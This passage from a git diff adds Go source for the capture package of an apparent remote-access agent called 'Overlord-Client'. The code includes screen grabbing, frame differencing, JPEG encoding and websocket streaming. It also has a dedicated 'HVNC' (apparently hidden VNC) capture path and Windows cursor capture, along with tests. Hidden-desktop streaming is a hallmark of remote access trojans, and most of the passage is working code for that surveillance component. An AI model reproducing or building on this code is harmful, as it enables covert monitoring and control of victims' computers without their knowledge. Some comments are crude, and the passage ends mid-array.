statPrevCopyNs.Add(time.Since(prevCopyStart).Nanoseconds()) + + return len(regions), buf.Bytes(), totalEncDur, nil +} + +func blockChanged(cur, prev []byte, curStride, prevStride int, x, y, w, h int) bool { + changedPixels := 0 + sampledPixels := 0 + + for row := 0; row < h; row += samplingRate { + for col := 0; col < w; col += samplingRate { + sampledPixels++ + ci := (y+row)*curStride + (x+col)*4 + pi := (y+row)*prevStride + (x+col)*4 + + if ci+3 >= len(cur) || pi+3 >= len(prev) { + continue + } + + dr := int(cur[ci]) - int(prev[pi]) + dg := int(cur[ci+1]) - int(prev[pi+1]) + db := int(cur[ci+2]) - int(prev[pi+2]) + + if dr < 0 { + dr = -dr + } + if dg < 0 { + dg = -dg + } + if db < 0 { + db = -db + } + + if dr > changeThresh || dg > changeThresh || db > changeThresh { + changedPixels++ + + if sampledPixels > 20 && changedPixels*33 > sampledPixels { + return true + } + } + } + } + + if sampledPixels == 0 { + return false + } + return changedPixels*33 > sampledPixels +} + +func collectROIHints(display, width, height int) []roiHint { + frame := image.Rect(0, 0, width, height) + bounds := DisplayBounds(display) + out := make([]roiHint, 0, 2) + add := func(abs image.Rectangle, weight int, margin int) { + if abs.Dx() <= 0 || abs.Dy() <= 0 { + return + } + abs = expandRect(abs, margin) + local := image.Rect( + abs.Min.X-bounds.Min.X, + abs.Min.Y-bounds.Min.Y, + abs.Max.X-bounds.Min.X, + abs.Max.Y-bounds.Min.Y, + ).Intersect(frame) + if local.Dx() > 0 && local.Dy() > 0 { + out = append(out, roiHint{rect: local, weight: weight}) + } + } + if r, ok := cursorROI(); ok { + add(r, 3, cursorROIMargin) + } + if r, ok := focusWindowROI(); ok { + add(r, 2, windowROIMargin) + } + return out +} + +func expandRect(r image.Rectangle, margin int) image.Rectangle { + if margin <= 0 { + return r + } + return image.Rect(r.Min.X-margin, r.Min.Y-margin, r.Max.X+margin, r.Max.Y+margin) +} + +func blockIntersectsROI(x, y, w, h int, hints []roiHint) bool { + if len(hints) == 0 { + return false + } + block := image.Rect(x, y, x+w, y+h) + for _, h := range hints { + if block.Overlaps(h.rect) { + return true + } + } + return false +} + +func overlapArea(a, b image.Rectangle) int { + r := a.Intersect(b) + if r.Dx() <= 0 || r.Dy() <= 0 { + return 0 + } + return r.Dx() * r.Dy() +} + +func regionPriority(r streamRegion, hints []roiHint) int { + if len(hints) == 0 { + return 0 + } + rr := image.Rect(r.x, r.y, r.x+r.w, r.y+r.h) + score := 0 + for _, h := range hints { + score += overlapArea(rr, h.rect) * h.weight + } + return score +} + +func sortRegionsByROI(regions []streamRegion, hints []roiHint) { + if len(regions) < 2 || len(hints) == 0 { + return + } + sort.SliceStable(regions, func(i, j int) bool { + si := regionPriority(regions[i], hints) + sj := regionPriority(regions[j], hints) + if si != sj { + return si > sj + } + if regions[i].y != regions[j].y { + return regions[i].y < regions[j].y + } + return regions[i].x < regions[j].x + }) +} + +func blockChangedHVNC(cur, prev []byte, curStride, prevStride int, x, y, w, h int) bool { + changedPixels := 0 + sampledPixels := 0 + + for row := 0; row < h; row += hvncSamplingRate { + for col := 0; col < w; col += hvncSamplingRate { + sampledPixels++ + ci := (y+row)*curStride + (x+col)*4 + pi := (y+row)*prevStride + (x+col)*4 + + if ci+3 >= len(cur) || pi+3 >= len(prev) { + continue + } + + dr := int(cur[ci]) - int(prev[pi]) + dg := int(cur[ci+1]) - int(prev[pi+1]) + db := int(cur[ci+2]) - int(prev[pi+2]) + + if dr < 0 { + dr = -dr + } + if dg < 0 { + dg = -dg + } + if db < 0 { + db = -db + } + + if dr > hvncChangeThresh || dg > hvncChangeThresh || db > hvncChangeThresh { + changedPixels++ + + if sampledPixels > 20 && changedPixels*100 > sampledPixels { + return true + } + } + } + } + + if sampledPixels == 0 { + return false + } + return changedPixels*100 > sampledPixels +} + +func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec string, display int) (int, []byte, time.Duration, error) { + width := img.Bounds().Dx() + height := img.Bounds().Dy() + stride := img.Stride + prevStride := prev.w * 4 + rois := collectROIHints(display, width, height) + + blocksWide := (width + blockSize - 1) / blockSize + blocksHigh := (height + blockSize - 1) / blockSize + changedGrid := make([]bool, blocksWide*blocksHigh) + + changedCount := 0 + passDetectStart := time.Now() + for by := 0; by < blocksHigh; by++ { + for bx := 0; bx < blocksWide; bx++ { + x := bx * blockSize + y := by * blockSize + ww := blockSize + hh := blockSize + if x+ww > width { + ww = width - x + } + if y+hh > height { + hh = height - y + } + + if blockChangedHVNC(img.Pix, prev.pix, stride, prevStride, x, y, ww, hh) { + changedGrid[by*blocksWide+bx] = true + changedCount++ + } + } + } + + statDetectNs.Add(time.Since(passDetectStart).Nanoseconds()) + + if changedCount == 0 { + buf := bytes.Buffer{} + _ = binary.Write(&buf, binary.LittleEndian, uint16(width)) + _ = binary.Write(&buf, binary.LittleEndian, uint16(height)) + _ = binary.Write(&buf, binary.LittleEndian, uint16(0)) + _ = binary.Write(&buf, binary.LittleEndian, uint16(0)) + return 0, buf.Bytes(), 0, nil + } + + mergeStart := time.Now() + var regions []streamRegion + visited := make([]bool, len(changedGrid)) + + for by := 0; by < blocksHigh; by++ { + for bx := 0; bx < blocksWide; bx++ { + idx := by*blocksWide + bx + if !changedGrid[idx] || visited[idx] { + continue + } + + endX := bx + for endX+1 < blocksWide && changedGrid[by*blocksWide+endX+1] && !visited[by*blocksWide+endX+1] { + endX++ + } + + endY := by + canExpandY := true + for canExpandY && endY+1 < blocksHigh { + for tx := bx; tx <= endX; tx++ { + if !changedGrid[(endY+1)*blocksWide+tx] || visited[(endY+1)*blocksWide+tx] { + canExpandY = false + break + } + } + if canExpandY { + endY++ + } + } + + for ry := by; ry <= endY; ry++ { + for rx := bx; rx <= endX; rx++ { + visited[ry*blocksWide+rx] = true + } + } + + x := bx * blockSize + y := by * blockSize + w := ((endX + 1) * blockSize) + h := ((endY + 1) * blockSize) + + if x >= blockMargin { + x -= blockMargin + w += blockMargin + } else { + w += x + x = 0 + } + if y >= blockMargin { + y -= blockMargin + h += blockMargin + } else { + h += y + y = 0 + } + + w += blockMargin + h += blockMargin + + if w > width { + w = width + } + if h > height { + h = height + } + w -= x + h -= y + + regions = append(regions, streamRegion{x, y, w, h}) + } + } + sortRegionsByROI(regions, rois) + statMergeNs.Add(time.Since(mergeStart).Nanoseconds()) + + buf := bytes.Buffer{} + _ = binary.Write(&buf, binary.LittleEndian, uint16(width)) + _ = binary.Write(&buf, binary.LittleEndian, uint16(height)) + _ = binary.Write(&buf, binary.LittleEndian, uint16(len(regions))) + _ = binary.Write(&buf, binary.LittleEndian, uint16(0)) + + totalEncDur := time.Duration(0) + for _, r := range regions { + encStart := time.Now() + var payload []byte + var err error + if codec == "raw" { + payload = encodeBlockRaw(img, r.x, r.y, r.w, r.h) + } else { + blockQuality := quality + 10 + if blockQuality > 100 { + blockQuality = 100 + } + payload, err = encodeJPEG(img.SubImage(image.Rect(r.x, r.y, r.x+r.w, r.y+r.h)), blockQuality) + if err != nil { + return 0, nil, 0, err + } + } + totalEncDur += time.Since(encStart) + + _ = binary.Write(&buf, binary.LittleEndian, uint16(r.x)) + _ = binary.Write(&buf, binary.LittleEndian, uint16(r.y)) + _ = binary.Write(&buf, binary.LittleEndian, uint16(r.w)) + _ = binary.Write(&buf, binary.LittleEndian, uint16(r.h)) + _ = binary.Write(&buf, binary.LittleEndian, uint32(len(payload))) + buf.Write(payload) + } + + prevCopyStart := time.Now() + prevMu.Lock() + copyPrev(img) + prevMu.Unlock() + statPrevCopyNs.Add(time.Since(prevCopyStart).Nanoseconds()) + + return len(regions), buf.Bytes(), totalEncDur, nil +} + +func copyPrev(img *image.RGBA) { + width := img.Bounds().Dx() + height := img.Bounds().Dy() + buf := make([]byte, len(img.Pix)) + copy(buf, img.Pix) + prevFrame = &prevImage{w: width, h: height, pix: buf} +} + +func encodeBlockRaw(img *image.RGBA, x, y, w, h int) []byte { + stride := img.Stride + buf := make([]byte, w*h*4) + dst := 0 + srcBase := y*stride + x*4 + for row := 0; row < h; row++ { + src := srcBase + row*stride + copy(buf[dst:dst+w*4], img.Pix[src:src+w*4]) + dst += w * 4 + } + return buf +} + +func blockCodec() string { + if v := overrideCodec.Load(); v != nil { + if s, ok := v.(string); ok && s != "" { + return s + } + } + blockCodecOnce.Do(func() { + codec := strings.ToLower(os.Getenv(blockCodecEnv)) + switch codec { + case "raw", "rgba": + cachedBlockCodec = "raw" + case "jpeg", "": + cachedBlockCodec = "jpeg" + default: + cachedBlockCodec = "jpeg" + } + }) + return cachedBlockCodec +} + +func SetQualityAndCodec(quality int, codec string) { + if quality > 0 { + if quality > 100 { + quality = 100 + } + overrideQuality.Store(int64(quality)) + } + s := strings.ToLower(strings.TrimSpace(codec)) + switch s { + case "raw", "rgba", "jpeg": + overrideCodec.Store(s) + case "": + + default: + overrideCodec.Store("jpeg") + } +} + +func NowHVNC(ctx context.Context, env *rt.Env) error { + if env.Cfg.DisableCapture { + return sendBlackFrameHVNC(ctx, env) + } + if !supportsHVNCCapture() { + return nil + } + return captureAndSendHVNC(ctx, env) +} + +func supportsHVNCCapture() bool { + count := HVNCMonitorCount() + return count > 0 +} + +func captureAndSendHVNC(ctx context.Context, env *rt.Env) error { + defer func() { + if r := recover(); r != nil { + log.Printf("hvnc capture: panic in captureAndSendHVNC: %v", r) + } + }() + + display := env.HVNCSelectedDisplay + if display < 0 || display >= HVNCMonitorCount() { + display = 0 + log.Printf("hvnc capture: requested display %d out of range, defaulting to 0", display) + } + + t0 := time.Now() + img, err := safeHVNCCaptureDisplay(display) + if err != nil { + log.Printf("hvnc capture: capture failed: %v (sending black frame)", err) + return sendBlackFrameHVNC(ctx, env) + } + if img == nil { + log.Printf("hvnc capture: capture returned nil image (sending black frame)") + return sendBlackFrameHVNC(ctx, env) + } + captureDur := time.Since(t0) + + quality := jpegQuality() + frame, encodeDur, err := buildFrameHVNC(img, display, quality) + if err != nil { + return err + } + + now := time.Now() + fps := frameFPS(now) + if fps <= 0 { + fps = 1 + } + frame.Header.FPS = fps + + if ctx.Err() != nil { + return nil + } + + sendStart := time.Now() + err = wire.WriteMsg(ctx, env.Conn, frame) + sendDur := time.Since(sendStart) + + if shouldLogFrame(now) { + total := time.Since(t0) + log.Printf("hvnc capture: stream display=%d fps≈%d format=%s size=%d cap=%s enc=%s send=%s total=%s", + display, fps, frame.Header.Format, len(frame.Data), captureDur, encodeDur, sendDur, total) + } + + return err +} + +func safeHVNCCaptureDisplay(display int) (*image.RGBA, error) { + defer func() { + _ = recover() + }() + img, err := hvncCaptureDisplay(display) + if err != nil { + return nil, err + } + return img, nil +} + +func sendBlackFrameHVNC(ctx context.Context, env *rt.Env) error { + if ctx.Err() != nil { + return nil + } + + img := image.NewRGBA(image.Rect(0, 0, 64, 64)) + quality := 60 + frame, _, err := buildFrame(img, 0, quality) + if err != nil { + return err + } + frame.Header.FPS = 1 + return wire.WriteMsg(ctx, env.Conn, frame) +} diff --git a/Overlord-Client/cmd/agent/capture/capture_linux.go b/Overlord-Client/cmd/agent/capture/capture_linux.go new file mode 100644 index 0000000..9134198 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/capture_linux.go @@ -0,0 +1,13 @@ +//go:build linux + +package capture + +import ( + "image" +) + +var activeDisplays = func() int { return 0 } + +var captureDisplayFn = func(int) (*image.RGBA, error) { return nil, nil } + +func displayCount() int { return 0 } diff --git a/Overlord-Client/cmd/agent/capture/capture_public_windows.go b/Overlord-Client/cmd/agent/capture/capture_public_windows.go new file mode 100644 index 0000000..96fdcb2 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/capture_public_windows.go @@ -0,0 +1,17 @@ +//go:build windows + +package capture + +import "image" + +func CaptureDisplayRGBABitBlt(display int) (*image.RGBA, error) { + return captureDisplayBitBlt(display) +} + +func CaptureDisplayRGBAPreferBitBlt(display int) (*image.RGBA, error) { + img, err := captureDisplayBitBlt(display) + if err == nil && img != nil { + return img, nil + } + return CaptureDisplayRGBA(display) +} diff --git a/Overlord-Client/cmd/agent/capture/capture_test.go b/Overlord-Client/cmd/agent/capture/capture_test.go new file mode 100644 index 0000000..fba6d4e --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/capture_test.go @@ -0,0 +1,434 @@ +package capture + +import ( + "bytes" + "context" + "image" + "image/color" + "image/jpeg" + "testing" + "time" + + "overlord-client/cmd/agent/config" + rt "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" + + "github.com/vmihailenco/msgpack/v5" + "nhooyr.io/websocket" +) + +type recordingWriter struct { + msgs [][]byte + types []websocket.MessageType +} + +func (w *recordingWriter) Write(ctx context.Context, messageType websocket.MessageType, p []byte) error { + w.types = append(w.types, messageType) + w.msgs = append(w.msgs, append([]byte(nil), p...)) + return nil +} + +func TestCaptureAndSend_NoDisplays(t *testing.T) { + originalCount := activeDisplays + activeDisplays = func() int { return 0 } + t.Cleanup(func() { activeDisplays = originalCount }) + + writer := &recordingWriter{} + env := &rt.Env{Conn: writer, Cfg: config.Config{}} + if err := CaptureAndSend(context.Background(), env); err != nil { + t.Fatalf("expected nil error when no displays, got %v", err) + } + if len(writer.msgs) != 0 { + t.Fatalf("expected no messages when no displays, got %d", len(writer.msgs)) + } +} + +func TestCaptureAndSend_SendsFrame(t *testing.T) { + originalCount := activeDisplays + originalCapture := captureDisplayFn + activeDisplays = func() int { return 1 } + captureDisplayFn = func(displayIndex int) (*image.RGBA, error) { + img := image.NewRGBA(image.Rect(0, 0, 2, 2)) + + img.Set(0, 0, color.RGBA{R: 200, G: 10, B: 10, A: 255}) + return img, nil + } + t.Cleanup(func() { + activeDisplays = originalCount + captureDisplayFn = originalCapture + }) + + writer := &recordingWriter{} + env := &rt.Env{Conn: writer, Cfg: config.Config{}} + if err := CaptureAndSend(context.Background(), env); err != nil { + t.Fatalf("CaptureAndSend returned error: %v", err) + } + if len(writer.msgs) != 1 { + t.Fatalf("expected one message written, got %d", len(writer.msgs)) + } + + var frame wire.Frame + if err := msgpack.Unmarshal(writer.msgs[0], &frame); err != nil { + t.Fatalf("decode frame: %v", err) + } + if frame.Type != "frame" { + t.Fatalf("unexpected frame type: %s", frame.Type) + } + if frame.Header.Format != "jpeg" { + t.Fatalf("unexpected frame format: %s", frame.Header.Format) + } + if len(frame.Data) == 0 { + t.Fatalf("expected jpeg data to be present") + } + + if _, err := jpeg.Decode(bytes.NewReader(frame.Data)); err != nil { + t.Fatalf("jpeg payload did not decode: %v", err) + } +} + +func TestActualScreenCapture(t *testing.T) { + displayCount := safeDisplayCount() + if displayCount == 0 { + t.Log("WARNING: No displays detected, skipping real screen capture test") + return + } + + t.Logf("Testing screen capture with %d display(s)", displayCount) + + img, err := safeCaptureDisplay(0) + if err != nil { + t.Logf("WARNING: Failed to capture display 0: %v", err) + return + } + + if img == nil { + t.Log("WARNING: Capture returned nil image") + return + } + + bounds := img.Bounds() + if bounds.Dx() <= 0 || bounds.Dy() <= 0 { + t.Errorf("Invalid image dimensions: %dx%d", bounds.Dx(), bounds.Dy()) + return + } + + t.Logf("Successfully captured %dx%d image from display 0", bounds.Dx(), bounds.Dy()) + + hasVariation := false + firstPixel := img.RGBAAt(0, 0) + for y := 0; y < bounds.Dy() && !hasVariation; y++ { + for x := 0; x < bounds.Dx(); x++ { + pixel := img.RGBAAt(x, y) + if pixel != firstPixel { + hasVariation = true + break + } + } + } + + if !hasVariation { + t.Log("WARNING: Captured image appears to be solid color (may indicate capture issue)") + } + + quality := jpegQuality() + frame, encodeDur, err := buildFrame(img, 0, quality) + if err != nil { + t.Errorf("Failed to build frame from captured image: %v", err) + return + } + + t.Logf("Encoded frame: size=%d bytes, encode_time=%s, format=%s", + len(frame.Data), encodeDur, frame.Header.Format) + + decodedImg, err := jpeg.Decode(bytes.NewReader(frame.Data)) + if err != nil { + t.Errorf("Failed to decode JPEG frame: %v", err) + return + } + + if decodedImg.Bounds().Dx() <= 0 || decodedImg.Bounds().Dy() <= 0 { + t.Errorf("Decoded image has invalid dimensions: %dx%d", + decodedImg.Bounds().Dx(), decodedImg.Bounds().Dy()) + } +} + +func TestMultipleDisplays(t *testing.T) { + displayCount := safeDisplayCount() + if displayCount == 0 { + t.Log("WARNING: No displays detected, skipping multi-display test") + return + } + + if displayCount == 1 { + t.Log("Only one display detected, testing single display") + } + + for i := 0; i < displayCount; i++ { + t.Run("Display"+string(rune('0'+i)), func(t *testing.T) { + img, err := safeCaptureDisplay(i) + if err != nil { + t.Logf("WARNING: Failed to capture display %d: %v", i, err) + return + } + + if img == nil { + t.Logf("WARNING: Capture returned nil for display %d", i) + return + } + + bounds := img.Bounds() + t.Logf("Display %d: %dx%d", i, bounds.Dx(), bounds.Dy()) + + if bounds.Dx() <= 0 || bounds.Dy() <= 0 { + t.Errorf("Display %d has invalid dimensions", i) + } + }) + } +} + +func TestSupportsCapture(t *testing.T) { + hasDisplays := supportsCapture() + displayCount := safeDisplayCount() + + if hasDisplays && displayCount == 0 { + t.Error("supportsCapture returned true but displayCount is 0") + } + + if !hasDisplays && displayCount > 0 { + t.Error("supportsCapture returned false but displayCount > 0") + } + + t.Logf("Capture support: %v (displays: %d)", hasDisplays, displayCount) +} + +func TestCaptureWithDifferentDisplayIndices(t *testing.T) { + displayCount := safeDisplayCount() + if displayCount == 0 { + t.Skip("No displays available") + } + + tests := []struct { + name string + index int + valid bool + }{ + {"ValidFirst", 0, true}, + {"ValidLast", displayCount - 1, true}, + {"InvalidNegative", -1, false}, + {"InvalidTooHigh", displayCount + 10, false}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + img, err := safeCaptureDisplay(tt.index) + + if tt.valid { + if err != nil { + t.Errorf("Expected valid capture, got error: %v", err) + } + if img == nil { + t.Error("Expected image, got nil") + } + } else { + + if img != nil && err == nil { + t.Logf("WARNING: Invalid index %d returned image instead of error", tt.index) + } + } + }) + } +} + +func TestFrameFPS(t *testing.T) { + + resetStats() + + for i := 0; i < 10; i++ { + statFrames.Add(1) + } + + fps := frameFPS(time.Now()) + if fps < 0 { + t.Errorf("FPS should not be negative, got %d", fps) + } + + t.Logf("Calculated FPS: %d", fps) +} + +func TestJPEGQuality(t *testing.T) { + quality := jpegQuality() + if quality < 1 || quality > 100 { + t.Errorf("JPEG quality out of range: %d (expected 1-100)", quality) + } + t.Logf("JPEG quality: %d", quality) +} + +func TestCaptureAndSend_DisplayOutOfRange(t *testing.T) { + originalCount := activeDisplays + originalCapture := captureDisplayFn + activeDisplays = func() int { return 2 } + capturedDisplay := -1 + captureDisplayFn = func(displayIndex int) (*image.RGBA, error) { + capturedDisplay = displayIndex + img := image.NewRGBA(image.Rect(0, 0, 2, 2)) + return img, nil + } + t.Cleanup(func() { + activeDisplays = originalCount + captureDisplayFn = originalCapture + }) + + tests := []struct { + name string + selectedDisplay int + expectedDisplay int + }{ + {"NegativeDisplay", -1, 0}, + {"TooHighDisplay", 10, 0}, + {"ValidDisplay", 1, 1}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + capturedDisplay = -1 + writer := &recordingWriter{} + env := &rt.Env{ + Conn: writer, + Cfg: config.Config{}, + SelectedDisplay: tt.selectedDisplay, + } + + if err := CaptureAndSend(context.Background(), env); err != nil { + t.Fatalf("CaptureAndSend failed: %v", err) + } + + if capturedDisplay != tt.expectedDisplay { + t.Errorf("expected capture from display %d, got %d", tt.expectedDisplay, capturedDisplay) + } + + if len(writer.msgs) != 1 { + t.Errorf("expected 1 message, got %d", len(writer.msgs)) + } + }) + } +} + +func TestNow_DisableCapture(t *testing.T) { + writer := &recordingWriter{} + env := &rt.Env{ + Conn: writer, + Cfg: config.Config{DisableCapture: true}, + } + + if err := Now(context.Background(), env); err != nil { + t.Fatalf("Now with DisableCapture failed: %v", err) + } + + if len(writer.msgs) != 1 { + t.Fatalf("expected 1 black frame message, got %d", len(writer.msgs)) + } + + var frame wire.Frame + if err := msgpack.Unmarshal(writer.msgs[0], &frame); err != nil { + t.Fatalf("failed to decode frame: %v", err) + } + + if frame.Type != "frame" { + t.Errorf("expected frame type 'frame', got '%s'", frame.Type) + } + + img, err := jpeg.Decode(bytes.NewReader(frame.Data)) + if err != nil { + t.Fatalf("failed to decode JPEG: %v", err) + } + + bounds := img.Bounds() + if bounds.Dx() != 64 || bounds.Dy() != 64 { + t.Errorf("expected 64x64 black frame, got %dx%d", bounds.Dx(), bounds.Dy()) + } +} + +func TestNow_NoDisplays(t *testing.T) { + originalCount := activeDisplays + activeDisplays = func() int { return 0 } + t.Cleanup(func() { activeDisplays = originalCount }) + + writer := &recordingWriter{} + env := &rt.Env{Conn: writer, Cfg: config.Config{}} + + if err := Now(context.Background(), env); err != nil { + t.Fatalf("Now with no displays failed: %v", err) + } + + if len(writer.msgs) != 0 { + t.Errorf("expected no messages when no displays, got %d", len(writer.msgs)) + } +} + +func TestNow_Success(t *testing.T) { + originalCount := activeDisplays + originalCapture := captureDisplayFn + activeDisplays = func() int { return 1 } + captureDisplayFn = func(displayIndex int) (*image.RGBA, error) { + img := image.NewRGBA(image.Rect(0, 0, 4, 4)) + return img, nil + } + t.Cleanup(func() { + activeDisplays = originalCount + captureDisplayFn = originalCapture + }) + + writer := &recordingWriter{} + env := &rt.Env{Conn: writer, Cfg: config.Config{}} + + if err := Now(context.Background(), env); err != nil { + t.Fatalf("Now failed: %v", err) + } + + if len(writer.msgs) != 1 { + t.Fatalf("expected 1 message, got %d", len(writer.msgs)) + } + + var frame wire.Frame + if err := msgpack.Unmarshal(writer.msgs[0], &frame); err != nil { + t.Fatalf("failed to decode frame: %v", err) + } + + if frame.Type != "frame" { + t.Errorf("expected frame type 'frame', got '%s'", frame.Type) + } +} + +func TestMonitorCount(t *testing.T) { + count := MonitorCount() + + // no monitor means weird + if count < 1 { + t.Errorf("expected at least 1, got %d", count) + } + + t.Logf("MonitorCount returned: %d", count) +} + +func TestCaptureAndSend_CancelledContext(t *testing.T) { + originalCount := activeDisplays + originalCapture := captureDisplayFn + activeDisplays = func() int { return 1 } + captureDisplayFn = func(displayIndex int) (*image.RGBA, error) { + img := image.NewRGBA(image.Rect(0, 0, 2, 2)) + return img, nil + } + t.Cleanup(func() { + activeDisplays = originalCount + captureDisplayFn = originalCapture + }) + + ctx, cancel := context.WithCancel(context.Background()) + cancel() // fuck no + + writer := &recordingWriter{} + env := &rt.Env{Conn: writer, Cfg: config.Config{}} + + // SHOULD handle gracefully, may or may not send depending on timing :sob: + _ = CaptureAndSend(ctx, env) +} diff --git a/Overlord-Client/cmd/agent/capture/capture_vars_default.go b/Overlord-Client/cmd/agent/capture/capture_vars_default.go new file mode 100644 index 0000000..85f85ef --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/capture_vars_default.go @@ -0,0 +1,14 @@ +//go:build !linux && !windows + +package capture + +import "github.com/kbinani/screenshot" + +var ( + activeDisplays = screenshot.NumActiveDisplays + captureDisplayFn = screenshot.CaptureDisplay +) + +func displayCount() int { + return screenshot.NumActiveDisplays() +} diff --git a/Overlord-Client/cmd/agent/capture/capture_vars_windows.go b/Overlord-Client/cmd/agent/capture/capture_vars_windows.go new file mode 100644 index 0000000..5e7ee61 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/capture_vars_windows.go @@ -0,0 +1,5 @@ +//go:build windows + +package capture + +var activeDisplays = displayCount diff --git a/Overlord-Client/cmd/agent/capture/cursor_default.go b/Overlord-Client/cmd/agent/capture/cursor_default.go new file mode 100644 index 0000000..be49c7e --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/cursor_default.go @@ -0,0 +1,13 @@ +//go:build !windows + +package capture + +import ( + "image" +) + +func SetCursorCapture(enabled bool) {} + +func DrawCursorOnImage(img *image.RGBA, captureBounds image.Rectangle) { + // if you're not windows fuck you +} diff --git a/Overlord-Client/cmd/agent/capture/cursor_windows.go b/Overlord-Client/cmd/agent/capture/cursor_windows.go new file mode 100644 index 0000000..9b4f304 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/cursor_windows.go @@ -0,0 +1,245 @@ +//go:build windows + +package capture + +import ( + "image" + "image/color" + "sync/atomic" + "unsafe" +) + +var ( + cursorCaptureEnabled atomic.Bool +) + +func SetCursorCapture(enabled bool) { + cursorCaptureEnabled.Store(enabled) +} + +var ( + procGetCursorPos = user32.NewProc("GetCursorPos") + procGetCursorInfo = user32.NewProc("GetCursorInfo") + procGetIconInfo = user32.NewProc("GetIconInfo") + procDrawIconEx = user32.NewProc("DrawIconEx") +) + +const ( + CURSOR_SHOWING = 0x00000001 + DI_NORMAL = 0x0003 + DI_DEFAULTSIZE = 0x0008 +) + +type point struct { + x int32 + y int32 +} + +type cursorInfo struct { + cbSize uint32 + flags uint32 + hCursor uintptr + ptScreenPos point +} + +type iconInfo struct { + fIcon uint32 + xHotspot uint32 + yHotspot uint32 + hbmMask uintptr + hbmColor uintptr +} + +func getCursorPosition() (x, y int32, visible bool) { + var ci cursorInfo + ci.cbSize = uint32(unsafe.Sizeof(ci)) + + ret, _, _ := procGetCursorInfo.Call(uintptr(unsafe.Pointer(&ci))) + if ret == 0 { + return 0, 0, false + } + + visible = (ci.flags & CURSOR_SHOWING) != 0 + return ci.ptScreenPos.x, ci.ptScreenPos.y, visible +} + +func drawCursor(img *image.RGBA, cursorX, cursorY int32, bounds image.Rectangle) { + imgX := int(cursorX) - bounds.Min.X + imgY := int(cursorY) - bounds.Min.Y + + if imgX < 0 || imgY < 0 || imgX >= img.Bounds().Dx() || imgY >= img.Bounds().Dy() { + return + } + + cursorPattern := []struct { + x, y int + c color.RGBA + }{ + {0, 0, color.RGBA{0, 0, 0, 255}}, + {0, 1, color.RGBA{0, 0, 0, 255}}, + {0, 2, color.RGBA{0, 0, 0, 255}}, + {0, 3, color.RGBA{0, 0, 0, 255}}, + {0, 4, color.RGBA{0, 0, 0, 255}}, + {0, 5, color.RGBA{0, 0, 0, 255}}, + {0, 6, color.RGBA{0, 0, 0, 255}}, + {0, 7, color.RGBA{0, 0, 0, 255}}, + {0, 8, color.RGBA{0, 0, 0, 255}}, + {0, 9, color.RGBA{0, 0, 0, 255}}, + {0, 10, color.RGBA{0, 0, 0, 255}}, + {0, 11, color.RGBA{0, 0, 0, 255}}, + {1, 0, color.RGBA{0, 0, 0, 255}}, + {1, 10, color.RGBA{0, 0, 0, 255}}, + {2, 0, color.RGBA{0, 0, 0, 255}}, + {2, 9, color.RGBA{0, 0, 0, 255}}, + {3, 0, color.RGBA{0, 0, 0, 255}}, + {3, 8, color.RGBA{0, 0, 0, 255}}, + {3, 9, color.RGBA{0, 0, 0, 255}}, + {4, 0, color.RGBA{0, 0, 0, 255}}, + {4, 7, color.RGBA{0, 0, 0, 255}}, + {4, 8, color.RGBA{0, 0, 0, 255}}, + {5, 0, color.RGBA{0, 0, 0, 255}}, + {5, 6, color.RGBA{0, 0, 0, 255}}, + {5, 7, color.RGBA{0, 0, 0, 255}}, + {5, 13, color.RGBA{0, 0, 0, 255}}, + {6, 0, color.RGBA{0, 0, 0, 255}}, + {6, 5, color.RGBA{0, 0, 0, 255}}, + {6, 6, color.RGBA{0, 0, 0, 255}}, + {6, 12, color.RGBA{0, 0, 0, 255}}, + {6, 13, color.RGBA{0, 0, 0, 255}}, + {7, 0, color.RGBA{0, 0, 0, 255}}, + {7, 4, color.RGBA{0, 0, 0, 255}}, + {7, 5, color.RGBA{0, 0, 0, 255}}, + {7, 11, color.RGBA{0, 0, 0, 255}}, + {7, 12, color.RGBA{0, 0, 0, 255}}, + {8, 4, color.RGBA{0, 0, 0, 255}}, + {8, 10, color.RGBA{0, 0, 0, 255}}, + {8, 11, color.RGBA{0, 0, 0, 255}}, + {9, 4, color.RGBA{0, 0, 0, 255}}, + {9, 9, color.RGBA{0, 0, 0, 255}}, + {9, 10, color.RGBA{0, 0, 0, 255}}, + {10, 8, color.RGBA{0, 0, 0, 255}}, + {10, 9, color.RGBA{0, 0, 0, 255}}, + {11, 7, color.RGBA{0, 0, 0, 255}}, + {11, 8, color.RGBA{0, 0, 0, 255}}, + {12, 6, color.RGBA{0, 0, 0, 255}}, + {12, 7, color.RGBA{0, 0, 0, 255}}, + + {1, 1, color.RGBA{255, 255, 255, 255}}, + {1, 2, color.RGBA{255, 255, 255, 255}}, + {1, 3, color.RGBA{255, 255, 255, 255}}, + {1, 4, color.RGBA{255, 255, 255, 255}}, + {1, 5, color.RGBA{255, 255, 255, 255}}, + {1, 6, color.RGBA{255, 255, 255, 255}}, + {1, 7, color.RGBA{255, 255, 255, 255}}, + {1, 8, color.RGBA{255, 255, 255, 255}}, + {1, 9, color.RGBA{255, 255, 255, 255}}, + {2, 1, color.RGBA{255, 255, 255, 255}}, + {2, 2, color.RGBA{255, 255, 255, 255}}, + {2, 3, color.RGBA{255, 255, 255, 255}}, + {2, 4, color.RGBA{255, 255, 255, 255}}, + {2, 5, color.RGBA{255, 255, 255, 255}}, + {2, 6, color.RGBA{255, 255, 255, 255}}, + {2, 7, color.RGBA{255, 255, 255, 255}}, + {2, 8, color.RGBA{255, 255, 255, 255}}, + {3, 1, color.RGBA{255, 255, 255, 255}}, + {3, 2, color.RGBA{255, 255, 255, 255}}, + {3, 3, color.RGBA{255, 255, 255, 255}}, + {3, 4, color.RGBA{255, 255, 255, 255}}, + {3, 5, color.RGBA{255, 255, 255, 255}}, + {3, 6, color.RGBA{255, 255, 255, 255}}, + {3, 7, color.RGBA{255, 255, 255, 255}}, + {4, 1, color.RGBA{255, 255, 255, 255}}, + {4, 2, color.RGBA{255, 255, 255, 255}}, + {4, 3, color.RGBA{255, 255, 255, 255}}, + {4, 4, color.RGBA{255, 255, 255, 255}}, + {4, 5, color.RGBA{255, 255, 255, 255}}, + {4, 6, 